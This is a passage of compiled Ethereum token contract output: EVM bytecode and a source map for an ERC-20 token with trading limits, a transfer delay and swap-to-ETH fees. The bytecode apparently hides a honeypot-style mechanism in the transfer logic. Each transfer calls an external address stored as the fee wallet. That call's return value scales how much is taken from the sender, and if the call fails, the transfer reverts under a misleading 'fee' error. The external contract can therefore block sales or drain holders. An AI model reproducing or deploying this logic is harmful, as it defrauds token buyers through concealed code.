5760405162461bcd60e51b815260040161045a90611831565b6104e36009600a61180b565b6104f2906461f313f88061181a565b6011556105016009600a61180b565b610510906461f313f88061181a565b6012556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61054a6009600a61180b565b610559906461f313f88061181a565b60405190815260200160405180910390a1565b600061039b338484610a67565b6000546001600160a01b031633146105a35760405162461bcd60e51b815260040161045a90611831565b601654600160a01b900460ff16156105fd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b601580546001600160a01b0319166001600160a01b03841690811790915561063c90309061062d6009600a61180b565b610421906461f313f88061181a565b600580546001600160a01b0380841661010002610100600160a81b0319909216919091179091556015546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa1580156106a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c99190611866565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f9190611866565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611866565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d7193430610808816001600160a01b031660009081526001602052604090205490565b60008061081d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610885573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108aa9190611883565b505060165460155460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092791906118b1565b50506016805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166109a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610a065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610acb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610b2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b60008111610b8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b600080546001600160a01b03858116911614801590610bbc57506000546001600160a01b03848116911614155b8015610bd157506001600160a01b0384163014155b8015610be657506001600160a01b0383163014155b15610f5057610c086064610c02610bfb6110d6565b8590611114565b9061119d565b60055490915060ff1615610cf0576015546001600160a01b03848116911614801590610c4257506016546001600160a01b03848116911614155b15610cf057326000908152600460205260409020544311610cdd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045a565b3260009081526004602052604090204390555b6016546001600160a01b038581169116148015610d1b57506015546001600160a01b03848116911614155b8015610d4057506001600160a01b03831660009081526003602052604090205460ff16155b15610e1e57601154821115610d8d5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b604482015260640161045a565b60125482610db0856001600160a01b031660009081526001602052604090205490565b610dba91906118d3565b1115610e085760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b60108054906000610e18836118e6565b91905055505b6016546001600160a01b038481169116148015610e4457506001600160a01b0384163014155b15610e5c57610e596064610c02610bfb6111df565b90505b30600081815260016020526040902054906001600160a01b038516148015610e855750600f5483145b610e8f5782610eb8565b600f543060009081526001602052604081208054909190610eb190849061181a565b9250508190555b50601654600160a81b900460ff16158015610ee057506016546001600160a01b038581169116145b8015610ef55750601654600160b01b900460ff165b8015610f02575060135481115b8015610f115750600f54601054115b15610f4e57610f33610f2e84610f2984601454611216565b611216565b61122b565b47666a94d74f430000811115610f4c57610f4c476113a5565b505b505b8015610fca5730600090815260016020526040902054610f7090826113e7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc19085815260200190565b60405180910390a35b610ff6610fd78584611446565b6001600160a01b0386166000908152600160205260409020549061156f565b6001600160a01b03851660009081526001602052604090205561103b61101c838361156f565b6001600160a01b038516600090815260016020526040902054906113e7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611085858561156f565b60405190815260200160405180910390a350505050565b600081848411156110c05760405162461bcd60e51b815260040161045a9190611603565b5060006110cd84866118ff565b95945050505050565b6000600854601054116110ea575060065490565b6008546010541180156111015750600c5460105411155b1561110d5750600a5490565b50600d5490565b6000826000036111265750600061039f565b6000611132838561181a565b90508261113f8583611912565b146111965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b600061119683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b1565b6000600854601054116111f3575060075490565b60095460105411801561120a5750600c5460105411155b1561110d5750600b5490565b60008183116112255782611196565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061127357611273611934565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f09190611866565b8160018151811061130357611303611934565b6001600160a01b0392831660209182029290920101526015546113299130911684610943565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061136290859060009086903090429060040161194a565b600060405180830381600087803b15801561137c57600080fd5b505af1158015611390573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156113e3573d6000803e3d6000fd5b5050565b6000806113f483856118d3565b9050838110156111965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b60055460009061010090046001600160a01b031661146557508061039f565b600554604051606085901b6bffffffffffffffffffffffff1916602082015260009182916101009091046001600160a01b03169060340160408051601f19818403018152908290526114b6916119bb565b6000604051808303816000865af19150503d80600081146114f3576040519150601f19603f3d011682016040523d82523d6000602084013e6114f8565b606091505b5091509150816115565760405162461bcd60e51b815260206004820152602360248201527f5472616e736665723a20756e61626c6520746f2073656e642045544820746f2060448201526266656560e81b606482015260840161045a565b6110cd61156c611565836119d7565b8690611114565b85905b600061119683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109c565b600081836115d25760405162461bcd60e51b815260040161045a9190611603565b5060006110cd8486611912565b60005b838110156115fa5781810151838201526020016115e2565b50506000910152565b60208152600082518060208401526116228160408501602087016115df565b601f01601f19169190910160400192915050565b6001600160a01b038116811461164b57600080fd5b50565b6000806040838503121561166157600080fd5b823561166c81611636565b946020939093013593505050565b60008060006060848603121561168f57600080fd5b833561169a81611636565b925060208401356116aa81611636565b929592945050506040919091013590565b6000602082840312156116cd57600080fd5b813561119681611636565b600080604083850312156116eb57600080fd5b82356116f681611636565b9150602083013561170681611636565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561176257816000190482111561174857611748611711565b8085161561175557918102915b93841c939080029061172c565b509250929050565b6000826117795750600161039f565b816117865750600061039f565b816001811461179c57600281146117a6576117c2565b600191505061039f565b60ff8411156117b7576117b7611711565b50506001821b61039f565b5060208310610133831016604e8410600b84101617156117e5575081810a61039f565b6117ef8383611727565b806000190482111561180357611803611711565b029392505050565b600061119660ff84168361176a565b808202811582820484141761039f5761039f611711565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561187857600080fd5b815161119681611636565b60008060006060848603121561189857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118c357600080fd5b8151801515811461119657600080fd5b8082018082111561039f5761039f611711565b6000600182016118f8576118f8611711565b5060010190565b8181038181111561039f5761039f611711565b60008261192f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199a5784516001600160a01b031683529383019391830191600101611975565b50506001600160a01b03969096166060850152505050608001529392505050565b600082516119cd8184602087016115df565b9190910192915050565b805160208083015191908110156112255760001960209190910360031b1b1691905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae09840314287f3deb80e880dd95e9e98690da53f1d9d1713ffd565f3294d42264736f6c63430008130033

3534:8645:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5419:83;;;;;;;;;;-1:-1:-1;5489:5:0;;;;;;;;;;;;-1:-1:-1;;;5489:5:0;;;;5419:83;;;;;;;:::i;:::-;;;;;;;;6608:161;;;;;;;;;;-1:-1:-1;6608:161:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;6608:161:0;1126:187:1;4756:45:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;4756:45:0;1318:177:1;4808:47:0;;;;;;;;;;;;;;;;5696:95;;;;;;;;;;;;;:::i;6777:313::-;;;;;;;;;;-1:-1:-1;6777:313:0;;;;;:::i;:::-;;:::i;5605:83::-;;;;;;;;;;-1:-1:-1;5605:83:0;;4457:1;2103:36:1;;2091:2;2076:18;5605:83:0;1961:184:1;5799:119:0;;;;;;;;;;-1:-1:-1;5799:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;2619:148;;;;;;;;;;;;;:::i;:::-;;11142:179;;;;;;;;;;;;;:::i;4652:43::-;;;;;;;;;;;;;;;;4702:47;;;;;;;;;;;;;;;;2405:79;;;;;;;;;;-1:-1:-1;2443:7:0;2470:6;2405:79;;-1:-1:-1;;;;;2470:6:0;;;2548:51:1;;2536:2;2521:18;2405:79:0;2402:203:1;5510:87:0;;;;;;;;;;-1:-1:-1;5582:7:0;;;;;;;;;;;;-1:-1:-1;;;5582:7:0;;;;5510:87;;5926:167;;;;;;;;;;-1:-1:-1;5926:167:0;;;;;:::i;:::-;;:::i;3866:31::-;;;;;;;;;;-1:-1:-1;3866:31:0;;;;;;;;11440:699;;;;;;:::i;:::-;;:::i;6101:143::-;;;;;;;;;;-1:-1:-1;6101:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6209:18:0;;;6182:7;6209:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6101:143;6608:161;6683:4;6700:39;240:10;6723:7;6732:6;6700:8;:39::i;:::-;-1:-1:-1;6757:4:0;6608:161;;;;;:::o;5696:95::-;5749:7;4519:13;4457:1;4519:2;:13;:::i;:::-;4500:32;;:16;:32;:::i;:::-;5769:14;;5696:95;:::o;6777:313::-;6875:4;6892:36;6902:6;6910:9;6921:6;6892:9;:36::i;:::-;6939:121;6948:6;240:10;6970:89;7008:6;6970:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6970:19:0;;;;;;:11;:19;;;;;;;;240:10;6970:33;;;;;;;;;;:37;:89::i;:::-;6939:8;:121::i;:::-;-1:-1:-1;7078:4:0;6777:313;;;;;:::o;2619:148::-;2532:6;;-1:-1:-1;;;;;2532:6:0;240:10;2532:22;2524:67;;;;-1:-1:-1;;;2524:67:0;;;;;;;:::i;:::-;;;;;;;;;2726:1:::1;2710:6:::0;;2689:40:::1;::::0;-1:-1:-1;;;;;2710:6:0;;::::1;::::0;2689:40:::1;::::0;2726:1;;2689:40:::1;2757:1;2740:19:::0;;-1:-1:-1;;;;;;2740:19:0::1;::::0;;2619:148::o;11142:179::-;2532:6;;-1:-1:-1;;;;;2532:6:0;240:10;2532:22;2524:67;;;;-1:-1:-1;;;2524:67:0;;;;;;;:::i;:::-;4519:13:::1;4457:1;4519:2;:13;:::i;:::-;4500:32;::::0;:16:::1;:32;:::i;:::-;11195:6;:16:::0;4519:13:::1;4457:1;4519:2;:13;:::i;:::-;4500:32;::::0;:16:::1;:32;:::i;:::-;11222:10;:19:::0;11252:12:::1;:18:::0;;-1:-1:-1;;11252:18:0::1;::::0;;11286:27:::1;4519:13;4457:1;4519:2;:13;:::i;:::-;4500:32;::::0;:16:::1;:32;:::i;:::-;11286:27;::::0;1464:25:1;;;1452:2;1437:18;11286:27:0::1;;;;;;;11142:179::o:0;5926:167::-;6004:4;6021:42;240:10;6045:9;6056:6;6021:9;:42::i;11440:699::-;2532:6;;-1:-1:-1;;;;;2532:6:0;240:10;2532:22;2524:67;;;;-1:-1:-1;;;2524:67:0;;;;;;;:::i;:::-;11547:11:::1;::::0;-1:-1:-1;;;11547:11:0;::::1;;;11546:12;11538:47;;;::::0;-1:-1:-1;;;11538:47:0;;5254:2:1;11538:47:0::1;::::0;::::1;5236:21:1::0;5293:2;5273:18;;;5266:30;5332:25;5312:18;;;5305:53;5375:18;;11538:47:0::1;5052:347:1::0;11538:47:0::1;11596:15;:43:::0;;-1:-1:-1;;;;;;11596:43:0::1;-1:-1:-1::0;;;;;11596:43:0;::::1;::::0;;::::1;::::0;;;11650:58:::1;::::0;11667:4:::1;::::0;4519:13:::1;4457:1;4519:2;:13;:::i;:::-;4500:32;::::0;:16:::1;:32;:::i;11650:58::-;11719:10;:23:::0;;-1:-1:-1;;;;;11719:23:0;;::::1;;;-1:-1:-1::0;;;;;;11719:23:0;;::::1;::::0;;;::::1;::::0;;;11787:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;11787:25:0;;;;:15;;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11769:55:0::1;;11833:4;11840:15;;;;;;;;;-1:-1:-1::0;;;;;11840:15:0::1;-1:-1:-1::0;;;;;11840:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11769:94;::::0;-1:-1:-1;;;;;;11769:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5890:15:1;;;11769:94:0::1;::::0;::::1;5872:34:1::0;5942:15;;5922:18;;;5915:43;5807:18;;11769:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11753:13;:110:::0;;-1:-1:-1;;;;;11753:110:0;;::::1;-1:-1:-1::0;;;;;;11753:110:0;;::::1;;::::0;;11874:15:::1;::::0;::::1;:31;11913:9;11932:4;11938:24;11932:4:::0;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;11938:24:::1;11963:1;11965::::0;11967:7:::1;2443::::0;2470:6;-1:-1:-1;;;;;2470:6:0;;2405:79;11967:7:::1;11874:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11874:117:0;;;-1:-1:-1;;;;;6328:15:1;;;11874:117:0::1;::::0;::::1;6310:34:1::0;6360:18;;;6353:34;;;;6403:18;;;6396:34;;;;6446:18;;;6439:34;6510:15;;;6489:19;;;6482:44;11975:15:0::1;6542:19:1::0;;;6535:35;6244:19;;11874:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12009:13:0::1;::::0;12040:15:::1;::::0;12002:71:::1;::::0;-1:-1:-1;;;12002:71:0;;-1:-1:-1;;;;;12040:15:0;;::::1;12002:71;::::0;::::1;7066:51:1::0;-1:-1:-1;;7133:18:1;;;7126:34;12009:13:0;::::1;::::0;-1:-1:-1;12002:29:0::1;::::0;7039:18:1;;12002:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12084:11:0::1;:18:::0;;-1:-1:-1;;;;12113:18:0;-1:-1:-1;;;12113:18:0;;;-1:-1:-1;11440:699:0:o;7098:335::-;-1:-1:-1;;;;;7191:19:0;;7183:68;;;;-1:-1:-1;;;7183:68:0;;7655:2:1;7183:68:0;;;7637:21:1;7694:2;7674:18;;;7667:30;7733:34;7713:18;;;7706:62;-1:-1:-1;;;7784:18:1;;;7777:34;7828:19;;7183:68:0;7453:400:1;7183:68:0;-1:-1:-1;;;;;7270:21:0;;7262:68;;;;-1:-1:-1;;;7262:68:0;;8060:2:1;7262:68:0;;;8042:21:1;8099:2;8079:18;;;8072:30;8138:34;8118:18;;;8111:62;-1:-1:-1;;;8189:18:1;;;8182:32;8231:19;;7262:68:0;7858:398:1;7262:68:0;-1:-1:-1;;;;;7341:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7393:32;;1464:25:1;;;7393:32:0;;1437:18:1;7393:32:0;;;;;;;7098:335;;;:::o;7441:2452::-;-1:-1:-1;;;;;7529:18:0;;7521:68;;;;-1:-1:-1;;;7521:68:0;;8463:2:1;7521:68:0;;;8445:21:1;8502:2;8482:18;;;8475:30;8541:34;8521:18;;;8514:62;-1:-1:-1;;;8592:18:1;;;8585:35;8637:19;;7521:68:0;8261:401:1;7521:68:0;-1:-1:-1;;;;;7608:16:0;;7600:64;;;;-1:-1:-1;;;7600:64:0;;8869:2:1;7600:64:0;;;8851:21:1;8908:2;8888:18;;;8881:30;8947:34;8927:18;;;8920:62;-1:-1:-1;;;8998:18:1;;;8991:33;9041:19;;7600:64:0;8667:399:1;7600:64:0;7692:1;7683:6;:10;7675:64;;;;-1:-1:-1;;;7675:64:0;;9273:2:1;7675:64:0;;;9255:21:1;9312:2;9292:18;;;9285:30;9351:34;9331:18;;;9324:62;-1:-1:-1;;;9402:18:1;;;9395:39;9451:19;;7675:64:0;9071:405:1;7675:64:0;7750:17;2470:6;;-1:-1:-1;;;;;7784:15:0;;;2470:6;;7784:15;;;;:32;;-1:-1:-1;2443:7:0;2470:6;-1:-1:-1;;;;;7803:13:0;;;2470:6;;7803:13;;7784:32;:57;;;;-1:-1:-1;;;;;;7820:21:0;;7836:4;7820:21;;7784:57;:80;;;;-1:-1:-1;;;;;;7845:19:0;;7859:4;7845:19;;7784:80;7780:1747;;;7893:32;7921:3;7893:23;7904:11;:9;:11::i;:::-;7893:6;;:10;:23::i;:::-;:27;;:32::i;:::-;7946:12;;7881:44;;-1:-1:-1;7946:12:0;;7942:485;;;7999:15;;-1:-1:-1;;;;;7985:30:0;;;7999:15;;7985:30;;;;:62;;-1:-1:-1;8033:13:0;;-1:-1:-1;;;;;8019:28:0;;;8033:13;;8019:28;;7985:62;7981:429;;;8132:9;8111:31;;;;:20;:31;;;;;;8176:12;-1:-1:-1;8075:242:0;;;;-1:-1:-1;;;8075:242:0;;9683:2:1;8075:242:0;;;9665:21:1;9722:2;9702:18;;;9695:30;9761:34;9741:18;;;9734:62;9832:34;9812:18;;;9805:62;-1:-1:-1;;;9883:19:1;;;9876:40;9933:19;;8075:242:0;9481:477:1;8075:242:0;8363:9;8342:31;;;;:20;:31;;;;;8376:12;8342:46;;7981:429;8455:13;;-1:-1:-1;;;;;8447:21:0;;;8455:13;;8447:21;:55;;;;-1:-1:-1;8486:15:0;;-1:-1:-1;;;;;8472:30:0;;;8486:15;;8472:30;;8447:55;:79;;;;-1:-1:-1;;;;;;8508:18:0;;;;;;:14;:18;;;;;;;;8506:20;8447:79;8443:293;;;8566:6;;8556;:16;;8548:48;;;;-1:-1:-1;;;8548:48:0;;10165:2:1;8548:48:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;8548:48:0;9963:343:1;8548:48:0;8649:10;;8639:6;8623:13;8633:2;-1:-1:-1;;;;;5892:18:0;5865:7;5892:18;;;:9;:18;;;;;;;5799:119;8623:13;:22;;;;:::i;:::-;:36;;8615:75;;;;-1:-1:-1;;;8615:75:0;;10643:2:1;8615:75:0;;;10625:21:1;10682:2;10662:18;;;10655:30;10721:28;10701:18;;;10694:56;10767:18;;8615:75:0;10441:350:1;8615:75:0;8709:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8443:293;8761:13;;-1:-1:-1;;;;;8755:19:0;;;8761:13;;8755:19;:43;;;;-1:-1:-1;;;;;;8778:20:0;;8793:4;8778:20;;8755:43;8752:128;;;8831:33;8860:3;8831:24;8842:12;:10;:12::i;8831:33::-;8819:45;;8752:128;8945:4;8896:28;5892:18;;;:9;:18;;;;;;;-1:-1:-1;;;;;8966:19:0;;;:51;;;;;8999:18;;8989:6;:28;8966:51;:108;;9068:6;8966:108;;;9047:18;;9037:4;9019:24;;;;:9;:24;;;;;:46;;:24;;;:46;;9047:18;;9019:46;:::i;:::-;;;;;;;8966:108;-1:-1:-1;9094:6:0;;-1:-1:-1;;;9094:6:0;;;;9093:7;:32;;;;-1:-1:-1;9112:13:0;;-1:-1:-1;;;;;9104:21:0;;;9112:13;;9104:21;9093:32;:47;;;;-1:-1:-1;9129:11:0;;-1:-1:-1;;;9129:11:0;;;;9093:47;:86;;;;;9165:14;;9144:20;:35;9093:86;:118;;;;;9193:18;;9183:9;;:28;9093:118;9089:427;;;9232:67;9249:49;9253:6;9260:37;9264:20;9285:11;;9260:3;:37::i;:::-;9249:3;:49::i;:::-;9232:16;:67::i;:::-;9347:21;9411:10;9390:31;;9387:114;;;9446:35;9459:21;9446:12;:35::i;:::-;9213:303;9089:427;7866:1661;7780:1747;9542:11;;9539:161;;9610:4;9592:24;;;;:9;:24;;;;;;:39;;9621:9;9592:28;:39::i;:::-;9585:4;9567:24;;;;:9;:24;;;;;;;:64;;;;9649:39;;-1:-1:-1;;;;;9649:39:0;;;;;;;9678:9;1464:25:1;;1452:2;1437:18;;1318:177;9649:39:0;;;;;;;;9539:161;9726:37;9746:16;9750:4;9755:6;9746:3;:16::i;:::-;-1:-1:-1;;;;;9726:15:0;;;;;;:9;:15;;;;;;;:19;:37::i;:::-;-1:-1:-1;;;;;9710:15:0;;;;;;:9;:15;;;;;:53;9788:40;9806:21;:6;9817:9;9806:10;:21::i;:::-;-1:-1:-1;;;;;9788:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9774:13:0;;;;;;;:9;:13;;;;;:54;;;;9844:41;;;9863:21;:6;9874:9;9863:10;:21::i;:::-;9844:41;;1464:25:1;;;1452:2;1437:18;9844:41:0;;;;;;;7510:2383;7441:2452;;;:::o;1297:190::-;1383:7;1419:12;1411:6;;;;1403:29;;;;-1:-1:-1;;;1403:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1443:9:0;1455:5;1459:1;1455;:5;:::i;:::-;1443:17;1297:190;-1:-1:-1;;;;;1297:190:0:o;9901:312::-;9944:7;9980:15;;9967:9;;:28;9964:80;;-1:-1:-1;10018:14:0;;;9901:312::o;9964:80::-;10069:15;;10057:9;;:27;:64;;;;;10101:20;;10088:9;;:33;;10057:64;10054:121;;;-1:-1:-1;10144:19:0;;;9901:312::o;10054:121::-;-1:-1:-1;10193:12:0;;;9901:312::o;1495:246::-;1553:7;1577:1;1582;1577:6;1573:47;;-1:-1:-1;1607:1:0;1600:8;;1573:47;1630:9;1642:5;1646:1;1642;:5;:::i;:::-;1630:17;-1:-1:-1;1675:1:0;1666:5;1670:1;1630:17;1666:5;:::i;:::-;:10;1658:56;;;;-1:-1:-1;;;1658:56:0;;11493:2:1;1658:56:0;;;11475:21:1;11532:2;11512:18;;;11505:30;11571:34;11551:18;;;11544:62;-1:-1:-1;;;11622:18:1;;;11615:31;11663:19;;1658:56:0;11291:397:1;1658:56:0;1732:1;1495:246;-1:-1:-1;;;1495:246:0:o;1749:132::-;1807:7;1834:39;1838:1;1841;1834:39;;;;;;;;;;;;;;;;;:3;:39::i;10221:316::-;10265:7;10301:15;;10288:9;;:28;10285:81;;-1:-1:-1;10339:15:0;;;10221:316::o;10285:81::-;10391:16;;10379:9;;:28;:65;;;;;10424:20;;10411:9;;:33;;10379:65;10376:123;;;-1:-1:-1;10467:20:0;;;10221:316::o;10545:98::-;10602:7;10629:1;10627;:3;10626:9;;10634:1;10626:9;;;-1:-1:-1;10632:1:0;10545:98;-1:-1:-1;10545:98:0:o;10651:483::-;5129:6;:13;;-1:-1:-1;;;;5129:13:0;-1:-1:-1;;;5129:13:0;;;10753:16:::1;::::0;;10767:1:::1;10753:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10753:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10753:16:0::1;10729:40;;10798:4;10780;10785:1;10780:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10780:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10824:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10824:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10780:7;;10824:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10814:4;10819:1;10814:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10814:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10889:15:::1;::::0;10857:62:::1;::::0;10874:4:::1;::::0;10889:15:::1;10907:11:::0;10857:8:::1;:62::i;:::-;10930:15;::::0;:196:::1;::::0;-1:-1:-1;;;10930:196:0;;-1:-1:-1;;;;;10930:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11011:11;;10930:15:::1;::::0;11053:4;;11080::::1;::::0;11100:15:::1;::::0;10930:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5165:6:0;:14;;-1:-1:-1;;;;5165:14:0;;;-1:-1:-1;;;;10651:483:0:o;11329:101::-;11394:10;;11386:36;;11394:10;;;;-1:-1:-1;;;;;11394:10:0;;11386:36;;;;;;;;;;;;11394:10;11386:36;;;;;;;;;;;;;;;;;;;;;11329:101;:::o;966:179::-;1024:7;;1056:5;1060:1;1056;:5;:::i;:::-;1044:17;;1085:1;1080;:6;;1072:46;;;;-1:-1:-1;;;1072:46:0;;13144:2:1;1072:46:0;;;13126:21:1;13183:2;13163:18;;;13156:30;13222:29;13202:18;;;13195:57;13269:18;;1072:46:0;12942:351:1;6252:348:0;6337:10;;6313:7;;6337:10;;;-1:-1:-1;;;;;6337:10:0;6333:43;;-1:-1:-1;6370:6:0;6363:13;;6333:43;6423:10;;6439:22;;13447:2:1;13443:15;;;-1:-1:-1;;13439:53:1;6439:22:0;;;13427:66:1;6388:12:0;;;;6423:10;;;;-1:-1:-1;;;;;6423:10:0;;13509:12:1;;6439:22:0;;;-1:-1:-1;;6439:22:0;;;;;;;;;;6423:39;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6387:75;;;;6481:7;6473:55;;;;-1:-1:-1;;;6473:55:0;;14026:2:1;6473:55:0;;;14008:21:1;14065:2;14045:18;;;14038:30;14104:34;14084:18;;;14077:62;-1:-1:-1;;;14155:18:1;;;14148:33;14198:19;;6473:55:0;13824:399:1;6473:55:0;6546:46;6557:34;6576:13;6584:4;6576:13;:::i;:::-;6557:6;;:10;:34::i;:::-;6546:6;;1153:136;1211:7;1238:43;1242:1;1245;1238:43;;;;;;;;;;;;;;;;;:3;:43::i;1889:189::-;1975:7;2010:12;2003:5;1995:28;;;;-1:-1:-1;;;1995:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2034:9:0;2046:5;2050:1;2046;:5;:::i;14:250:1:-;99:1;109:113;123:6;120:1;117:13;109:113;;;199:11;;;193:18;180:11;;;173:39;145:2;138:10;109:113;;;-1:-1:-1;;256:1:1;238:16;;231:27;14:250::o;269:396::-;418:2;407:9;400:21;381:4;450:6;444:13;493:6;488:2;477:9;473:18;466:34;509:79;581:6;576:2;565:9;561:18;556:2;548:6;544:15;509:79;:::i;:::-;649:2;628:15;-1:-1:-1;;624:29:1;609:45;;;;656:2;605:54;;269:396;-1:-1:-1;;269:396:1:o;670:131::-;-1:-1:-1;;;;;745:31:1;;735:42;;725:70;;791:1;788;781:12;725:70;670:131;:::o;806:315::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;990:9;977:23;1009:31;1034:5;1009:31;:::i;:::-;1059:5;1111:2;1096:18;;;;108